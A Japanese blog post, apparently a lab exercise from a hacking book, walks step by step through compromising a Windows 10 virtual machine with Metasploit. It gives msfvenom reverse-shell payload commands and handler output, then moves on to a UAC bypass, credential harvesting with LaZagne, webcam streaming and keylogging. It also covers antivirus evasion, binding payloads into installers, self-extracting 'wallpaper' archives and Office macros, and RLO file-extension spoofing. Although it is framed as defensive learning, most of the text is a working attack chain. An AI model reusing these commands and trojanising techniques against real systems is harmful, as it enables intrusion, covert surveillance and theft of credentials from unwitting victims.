ハック技術: Windows10ハック #2 Exploit、情報奪取、権限昇格、バックドア設置、アンチウィルス回避、バインド編

「[#ゆるいハッキング大会](https://twitter.com/hashtag/%E3%82%86%E3%82%8B%E3%81%84%E3%83%8F%E3%83%83%E3%82%AD%E3%83%B3%E3%82%B0%E5%A4%A7%E4%BC%9A )」に参加した。
ハッキング熱が高まった。

「[ハッキング・ラボのつくりかた](https://www.amazon.co.jp/%E3%83%8F%E3%83%83%E3%82%AD%E3%83%B3%E3%82%B0%E3%83%BB%E3%83%A9%E3%83%9C%E3%81%AE%E3%81%A4%E3%81%8F%E3%82%8A%E3%81%8B%E3%81%9F-%E4%BB%AE%E6%83%B3%E7%92%B0%E5%A2%83%E3%81%AB%E3%81%8A%E3%81%91%E3%82%8B%E3%83%8F%E3%83%83%E3%82%AB%E3%83%BC%E4%BD%93%E9%A8%93%E5%AD%A6%E7%BF%92-IPUSIRON/dp/4798155306)」を勢いで購入。

今回は、ハッキング・ラボの作り方に載っているWindows10のやり方の、
・Exploit
・情報奪取
・権限昇格
・バックドア設置
・アンチウィルス回避
・バインド(ペイロードに別ファイルを結合)
の流れ。

アンチウィルス回避とバインドは、なかなかうまくいかない。

## お約束
本記事は、
・防御の為に敵の攻撃を知る
・技術力向上
を目的としている為、記載内容を悪用する事は禁じます。
記載内容を実行した結果として生じた全ての事に、私は一切責任を負いません。

## 環境について

### 0.自分のノートPC
　HP HP Spectre x360 Convertible 13-ac0XX/827E, BIOS F.31 04/27/2017
　Linux dsnote 4.15.0-48-generic #51~16.04.1-Ubuntu SMP Fri Apr 5 12:01:12 UTC 2019 x86_64 GNU/Linux
### 1. KaliLinux
[ハック技術: KaliLinux on Docker - Qiita](https://qiita.com/rivarten/items/2e0c8ee82fdffa848e7d)

### 2. Windows10
[ハック技術: Windows10ハック #1VirtualBoxで環境セットアップ編 (on Ubuntu)編 - Qiita](https://qiita.com/rivarten/items/43abb1116a1c91c85d9b)
エディション：Windows 10 October 2018 Update

## Kali on dockerでGUIアプリを使う為に設定変更
後にWin10のスクリーンショットを取るので、先に設定変更しておく。

[Dockerコンテナの中でGUIアプリケーションを起動させる  - Unskilled?](https://unskilled.site/docker%E3%82%B3%E3%83%B3%E3%83%86%E3%83%8A%E3%81%AE%E4%B8%AD%E3%81%A7gui%E3%82%A2%E3%83%97%E3%83%AA%E3%82%B1%E3%83%BC%E3%82%B7%E3%83%A7%E3%83%B3%E3%82%92%E8%B5%B7%E5%8B%95%E3%81%95%E3%81%9B%E3%82%8B/)
そのままだと、dockerのkaliではGUIアプリを表示不可能なので、dockerの起動時のパラメータを変更する。
`docker commit`して今のイメージを`my-kali-linux:2`として作って、以下のコマンドを実行。

```
$ sudo docker run -it -d --rm --name kali --net="host" --privileged -e DISPLAY=$DISPLAY -v /tmp/.X11-unix/:/tmp/.X11-unix my-kali-linux:2 /bin/bash
$ xhost local:
```


## Exploit

##### Kaliでペイロード作成

```
# msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=172.28.128.1 -f exe -o /root/evil2.exe
# cp evil2.exe /var/www/html/share/
# service apache2 restart
```

Win10のEdgeで、http://172.28.128.1/share/ にアクセスして、evil2.exeをダウンロード。
##### Windows Defender セキュリティーセンター リアルタイム保護

「ハッキング・ラボのつくりかた」の設定では、リアルタイム保護ありでもダウンロード出来る様子。

**今回のセットアップでは、リアルタイム保護があると、evil2.exeをダウンロードしても検疫されて駆除される。**

Pattern 1: -> 検疫・駆除
　(本では => リアルタイム保護：DL時あり、実行時あり => 「このアプリはお使いのPCでは実行できません」
Pattern 2: -> 検疫・駆除
　(本では => リアルタイム保護：DL時あり、実行時なし => 「このアプリはお使いのPCでは実行できません」
Pattern 3:
　リアルタイム保護：DL時なし、実行時あり => 「ファイルにウィルスまたは望ましくない可能性のあるソフトウェアが含まれているため、操作は正常に完了しませんでした」というエラーダイアログが表示される。さらに、検疫・駆除される。
Pattern 4:
　リアルタイム保護：DL時なし、実行時なし => 初回実行時にSmartScreenの警告画面が出るが、強制的に実行可能なので、そこで実行するとMeterpreterセッションが確立する。

```
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 172.28.128.1
lhost => 172.28.128.1
msf5 exploit(multi/handler) > exploit -j -z
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 172.28.128.1:4444 
msf5 exploit(multi/handler) > [*] Sending stage (206403 bytes) to 172.28.128.4
[*] Meterpreter session 2 opened (172.28.128.1:4444 -> 172.28.128.4:50630) at 2019-05-05 10:41:33 +0000

msf5 exploit(multi/handler) > sessions

Active sessions
===============

  Id  Name  Type                     Information                             Connection
  --  ----  ----                     -----------                             ----------
  2         meterpreter x64/windows  DESKTOP-5UK4SPV\test @ DESKTOP-5UK4SPV  172.28.128.1:4444 -> 172.28.128.4:50630 (172.28.128.4)

msf5 exploit(multi/handler) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > getuid
Server username: DESKTOP-5UK4SPV\test

meterpreter > ls
Listing: C:\Users\test\Downloads
================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  282   fil   2019-05-05 09:01:58 +0000  desktop.ini
100777/rwxrwxrwx  7168  fil   2019-05-05 10:03:22 +0000  evil2.exe

```

## 情報奪取

### 1. ファイルの取得
Win側で、適当にファイル(password.txt)を作ってそれをダウンロードしてみる。

```
meterpreter > ls
Listing: C:\Users\test\Downloads
================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  282   fil   2019-05-05 09:01:58 +0000  desktop.ini
100777/rwxrwxrwx  7168  fil   2019-05-05 10:03:22 +0000  evil2.exe
100666/rw-rw-rw-  7     fil   2019-05-05 10:13:12 +0000  password.txt

meterpreter > download password.txt
[*] Downloading: password.txt -> password.txt
[*] Downloaded 7.00 B of 7.00 B (100.0%): password.txt -> password.txt
[*] download   : password.txt -> password.txt
```

```
# cat password.txt 
Wow!!!! 
```
### 2. スクリーンショットの撮影

##### 撮影
```
meterpreter > screenshot
Screenshot saved to: /root/bifKkVfR.jpeg
```

##### 表示

```
# apt install feh -y
# feh bifKkVfR.jpeg
```

## 権限昇格
```
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: The environment is incorrect. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
```
権限昇格に失敗するので、UAC機能を回避するモジュールを使用する。

```
meterpreter > background
[*] Backgrounding session 2...
msf5 exploit(multi/handler) > search bypassuac

Matching Modules
================

   #  Name                                              Disclosure Date  Rank       Check  Description
   -  ----                                              ---------------  ----       -----  -----------
   1  exploit/windows/local/bypassuac                   2010-12-31       excellent  No     Windows Escalate UAC Protection Bypass
   2  exploit/windows/local/bypassuac_comhijack         1900-01-01       excellent  Yes    Windows Escalate UAC Protection Bypass (Via COM Handler Hijack)
   3  exploit/windows/local/bypassuac_eventvwr          2016-08-15       excellent  Yes    Windows Escalate UAC Protection Bypass (Via Eventvwr Registry Key)
   4  exploit/windows/local/bypassuac_fodhelper         2017-05-12       excellent  Yes    Windows UAC Protection Bypass (Via FodHelper Registry Key)
   5  exploit/windows/local/bypassuac_injection         2010-12-31       excellent  No     Windows Escalate UAC Protection Bypass (In Memory Injection)
   6  exploit/windows/local/bypassuac_injection_winsxs  2017-04-06       excellent  No     Windows Escalate UAC Protection Bypass (In Memory Injection) abusing WinSXS
   7  exploit/windows/local/bypassuac_sluihijack        2018-01-15       excellent  Yes    Windows UAC Protection Bypass (Via Slui File Handler Hijack)
   8  exploit/windows/local/bypassuac_vbs               2015-08-22       excellent  No     Windows Escalate UAC Protection Bypass (ScriptHost Vulnerability)
```
日付が新しくて、excellentのやつを選ぶ。

exploit/windows/local/bypassuac_sluihijackを使う。
こいつはデフォルトでhttpsでポート8443を使ってアクセスしてくる様なので、ローカルでポート8443/tcpを許可しておく。

```
msf5 exploit(multi/handler) > use exploit/windows/local/bypassuac_sluihijack
msf5 exploit(windows/local/bypassuac_sluihijack) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Windows x86
   1   Windows x64


msf5 exploit(windows/local/bypassuac_sluihijack) > set target 1
target => 1
msf5 exploit(windows/local/bypassuac_sluihijack) > set session 7
session => 7
msf5 exploit(windows/local/bypassuac_sluihijack) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
msf5 exploit(windows/local/bypassuac_sluihijack) > set lhost 172.28.128.1
lhost => 172.28.128.1
msf5 exploit(windows/local/bypassuac_sluihijack) > show options

Module options (exploit/windows/local/bypassuac_sluihijack):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  7                yes       The session to run this module on.


Payload options (windows/x64/meterpreter/reverse_https):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     172.28.128.1     yes       The local listener hostname
   LPORT     8443             yes       The local listener port
   LURI                       no        The HTTP Path


Exploit target:

   Id  Name
   --  ----
   1   Windows x64


msf5 exploit(windows/local/bypassuac_sluihijack) > exploit

[*] Started HTTPS reverse handler on https://172.28.128.1:8443
[*] UAC is Enabled, checking level...
[+] Part of Administrators group! Continuing...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[*] Configuring payload and stager registry keys ...
[*] Executing payload: powershell Start-Process C:\Windows\System32\slui.exe -Verb runas
[*] https://172.28.128.1:8443 handling request from 172.28.128.4; (UUID: 6xgjgvbr) Staging x64 payload (207449 bytes) ...
[*] Meterpreter session 8 opened (172.28.128.1:8443 -> 172.28.128.4:50723) at 2019-05-05 11:25:52 +0000
[*] Cleaining ...

meterpreter >
```
`no sessions was created.`の場合はexploitに失敗しているが、meterpreterプロンプトが返って来たので成功している。
失敗する場合は、exploit/windows/local/bypassuac_injection_winsxsモジュールも使えるのでこちらも使ってみる。

```
meterpreter >
meterpreter > pwd
C:\Windows\system32
meterpreter > getuid
Server username: DESKTOP-5UK4SPV\test
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

```

## バックドア設置

Win7の時と同様にpersistence等でバックドアを設置。
[ハック技術: Windows7ハック #3 Exploit、情報奪取、権限昇格、バックドア設置、ログ消し編 - Qiita](https://qiita.com/rivarten/items/97aae9aeefcfd498ae90#%E3%83%90%E3%83%83%E3%82%AF%E3%83%89%E3%82%A2%E8%A8%AD%E7%BD%AE)

Win10の場合、再起動した後にリアルタイム保護が再度有効になる為、次回起動時に検疫・駆除される可能性大。

## ターゲット端末のWEBカメラの映像を取得

VirtualBoxにExtensionPackを入れていると、デバイス>Webカメラ>...でWin側でカメラを使える。
ターゲット端末は、カメラが使える前提とする。

```
# apt install cheese
```

ユーザー権限のセッションに切り替えて、カメラ映像取得。
cheeseはデフォルトでポート5355/tcpを使うので、ローカルで開けておく。

```
meterpreter > background
meterpreter > session -i 1 (ユーザー権限のセッション
meterpreter > webcam_list
1: VirtualBox Webcam - HP TrueVision FHD RGB-IR: HP Tr
meterpreter > webcam_stream
[*] Starting...
[*] Preparing player...
[*] Opening player at: /root/GBUWuTvs.html
[*] Streaming...
```
ブラウザが立ち上がって、webカメラのストリーム映像が流れる。
## 情報奪取(権限昇格後

### 1. パスワード探し

https://github.com/AlessandroZ/LaZagne/releases

lazagne.exeをkaliにダウンロード。

```
# wget https://github.com/AlessandroZ/LaZagne/releases/download/v2.4.2/lazagne.exe
```

```
meterpreter > pwd
C:\Users\test\Downloads
meterpreter > upload lazagne.exe
[*] uploading  : lazagne.exe -> lazagne.exe
[*] Uploaded 5.47 MiB of 5.47 MiB (100.0%): lazagne.exe -> lazagne.exe
[*] uploaded   : lazagne.exe -> lazagne.exe
meterpreter > shell
Process 2636 created.
Channel 3 created.
Microsoft Windows [Version 10.0.17763.379]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\test\Downloads>dir
dir
 �h���C�u C �̃{�����[�� ���x���������܂����B
 �{�����[�� �V���A���ԍ��� 4ACD-8175 �ł�

 C:\Users\test\Downloads �̃f�B���N�g��

2019/05/05  22:40    <DIR>          .
2019/05/05  22:40    <DIR>          ..
2019/05/05  22:40         5,735,701 lazagne.exe
2019/05/05  19:13                 7 password.txt
               2 �̃t�@�C��           5,735,708 �o�C�g
               2 �̃f�B���N�g��  39,327,277,056 �o�C�g�̋󂫗̈�

C:\Users\test\Downloads>lazagne.exe
lazagne.exe
usage: lazagne.exe [-h] [-version]
                   {chats,mails,all,git,svn,windows,wifi,maven,sysadmin,browsers,games,multimedia,memory,databases,php}
                   ...

|====================================================================|
|                                                                    |
|                        The LaZagne Project                         |
|                                                                    |
|                          ! BANG BANG !                             |
|                                                                    |
|====================================================================|

positional arguments:
  {chats,mails,all,git,svn,windows,wifi,maven,sysadmin,browsers,games,multimedia,memory,databases,php}
                        Choose a main command
    chats               Run chats module
    mails               Run mails module
    all                 Run all modules
    git                 Run git module
    svn                 Run svn module
    windows             Run windows module
    wifi                Run wifi module
    maven               Run maven module
    sysadmin            Run sysadmin module
    browsers            Run browsers module
    games               Run games module
    multimedia          Run multimedia module
    memory              Run memory module
    databases           Run databases module
    php                 Run php module

optional arguments:
  -h, --help            show this help message and exit
  -version              laZagne version

C:\Users\test\Downloads>lazagne.exe all
lazagne.exe all

(略

[+] 0 passwords have been found.
For more information launch it again with the -v option

elapsed time = 2.15600013733
```
`Password found!!!`と表示されると見つかった証拠。

巧妙なアップロード先としては、

- システムが利用するフォルダー  
　・C:\Windows\system32  
　・C:\Windows  
- ユーザが普段確認しないフォルダー  
　・Tempフォルダ  
　・ゴミ箱 C:\$Recycle.Bin  
- ソフトウェアインストールフォルダ  
　・C:\Program Files  

### 2. ブラウザ履歴

```
msf5 exploit(windows/local/bypassuac_sluihijack) > use post/windows/gather/forensics/browser_history
msf5 post(windows/gather/forensics/browser_history) > sessions

Active sessions
===============

  Id  Name  Type                     Information                             Connection
  --  ----  ----                     -----------                             ----------
  4         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ DESKTOP-5UK4SPV   172.28.128.1:8443 -> 172.28.128.4:49795 (172.28.128.4)

msf5 post(windows/gather/forensics/browser_history) > set session 4
session => 4
msf5 post(windows/gather/forensics/browser_history) > show options

Module options (post/windows/gather/forensics/browser_history):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  4                yes       The session to run this module on.

msf5 post(windows/gather/forensics/browser_history) > run

[*] Gathering user profiles
[*] Checking for Chrome History artifacts...
[-] Chrome History directory not found for test
[*] Checking for Chrome Archived History artifacts...
[-] Chrome Archived History directory not found for test
[*] Checking for Skype artifacts...
[-] Skype directory not found for test
[*] Checking for Firefox artifacts...
[-] Firefox directory not found for test
[*] Post module execution completed
msf5 post(windows/gather/forensics/browser_history) > 
```
今回は何も取れなかったが、各種ブラウザがあれば取れているのだろう。

### 3. MRUの取得

Most Recently Used: 最近使ったリスト
ターゲットの最近の行動を知ることができる。ソーシャルエンジニアリング。

```
meterpreter > reg enumkey -k HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\(KEY)

(KEY) = RunMRU or TypedPaths or FindComputerMRU or Doc Find Spec MRU or PrnPortsMRU or StreamMRU
```
環境によってレジストリキーが存在しない。
今回は全て無かった。

## アンチウィルスを回避する

なかなか本のとおりにはいかないようだ。

### Veil Frameworkを使用する

```
# apt install veil-evasion
```
### Windows Defenderのリアルタイム保護を回避する

Veil Frameworkで生成した"evil3.bat"は、ダウンロード時にウィルスとして検知されないと、本には書いてあるが、
**本のとおりにやってみると、WindowsDefenderによって検疫・駆除された。(2019/05/06現在)**
恐らくウィルスの定義ファイルが更新されている。

本では、ペイロードを実行するとPattern 4の流れになり、セッションが確立する。

## ペイロードに別ファイルを結合する

### Shellterでペイロードとexeファイルをバインドする

winrar 5.71
https://www.win-rar.com/download.html?&L=0
をダウンロードしておく。

```
# apt install shellter
# shellter
```
別画面が立ち上がる。以下の順で入力。

- A
- /root/wrar571.exe
- Y
- L
- 1
- 172.128.28.1
- 4444

```
# cp wrar571.exe /var/www/html/share/
```

https://www.virustotal.com/ja/ 等のサイトにアップロードして、どれくらいのウィルスの検出システムにひっかかるか検査可能。
この辺りは、いろいろ工夫ができる部分かもしれない。

#####リアルタイム保護有効時
ダウンロード時にウィルス検知されない。(システムの環境によっては検知される。
実行時にMeterpreterセッションが一瞬確立するが、振る舞いがMeterpreterであると検知され、セッションが閉じられる。

#####リアルタイム保護無効時
ダウンロード時にウィルス検知されず、セッションも確立する。
インストーラーを閉じるとセッションも閉じる。
**本ではこう書いてあるが、今回の環境ではリアルタイム保護ありの時と同じ振る舞いのようだ。**


### WinRARでペイロードと画像ファイルをバインドする

この方法でやってみても、Meterpreterセッションが一瞬確立するが、セッションが閉じられた。

##### ペイロード作成

```
#msfvenom -a x86 -p windows/meterpreter/reverse_tcp lhost=172.28.128.1 -f exe -e x86/shikata_ga_nai -i 3 -b '\x00\xff' -o /root/evil4.exe
```

- wallpaper.jpg
- wallpaper.ico
- evil.exe

をバインドする。
ico化は、色んなサイトで可能。
https://www.icoconverter.com とか。

##### バインド

- wallpaper.jpgとwallpaper.icoを選択状態で'Add to archive'。
- General> ArchiveName amazing_wallpaper.rar  
  ArchiveOptions Create SFX archive
- Advanced > SFX Options  
　Run after extraction>  
　　　evil4.exe  
　　　wallpaper.jpg  
　Mode>  
　　silient mode = hide all  
　Text and icon>  
　　browse> wallpaper.ico  
　Update>  
　　UpdateMode = extract and update files  
　　overwritemode = overwrite all files

ファイル名をamazing_wallpaper.jpg.exeに変更

##### リバースシェル待受け
##### amazing_wallpaper.jpg.exeを実行


### ExcelやWordファイルにペイロードをバインドする
マクロを使う。

##### MacroShop

```
# git clone https://github.com/khr0x40sh/MacroShop.git
# cd MacroShop
# ./macro_safe.py ../evil3.bat ../script.txt
```

script.txtをExcel開いてマクロとして設定する。

##### リバースシェル待受け
##### マクロ実行
### RLO(Right-to-Left Override)による拡張子の偽造
Unicodeの制御文字「U+202E」。文字の流れを右から左に変えられる。
tecfdp.exe -> tecexe.pdfと表示できる。

amazing_wallpaper.jpg.exe -> amazing_wallpaper.exe.jpg

## キーロガーで情報を奪取する
ユーザー権限セッションで可能。

```
meterpreter > keyscan_start
meterpreter > keyscan_dump
meterpreter > keyscan_stop
```

本格的にするならこっち

```
msf5 exploit(multi/handler) > use post/windows/capture/keylog_recorder
msf5 post(windows/capture/keylog_recorder) > set session 21
session => 21
msf5 post(windows/capture/keylog_recorder) > show options

Module options (post/windows/capture/keylog_recorder):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   CAPTURE_TYPE  explorer         no        Capture keystrokes for Explorer, Winlogon or PID (Accepted: explorer, winlogon, pid)
   INTERVAL      5                no        Time interval to save keystrokes in seconds
   LOCKSCREEN    false            no        Lock system screen.
   MIGRATE       false            no        Perform Migration.
   PID                            no        Process ID to migrate to
   SESSION       21               yes       The session to run this module on.

msf5 post(windows/capture/keylog_recorder) > run

[*] Executing module against DESKTOP-5UK4SPV
[*] Starting the keylog recorder...
[*] Keystrokes being saved in to /root/.msf4/loot/20190506105117_default_172.28.128.4_host.windows.key_709857.txt
[*] Recording keystrokes...
```
ログファイルをtail -f で見ると良い。

##おわり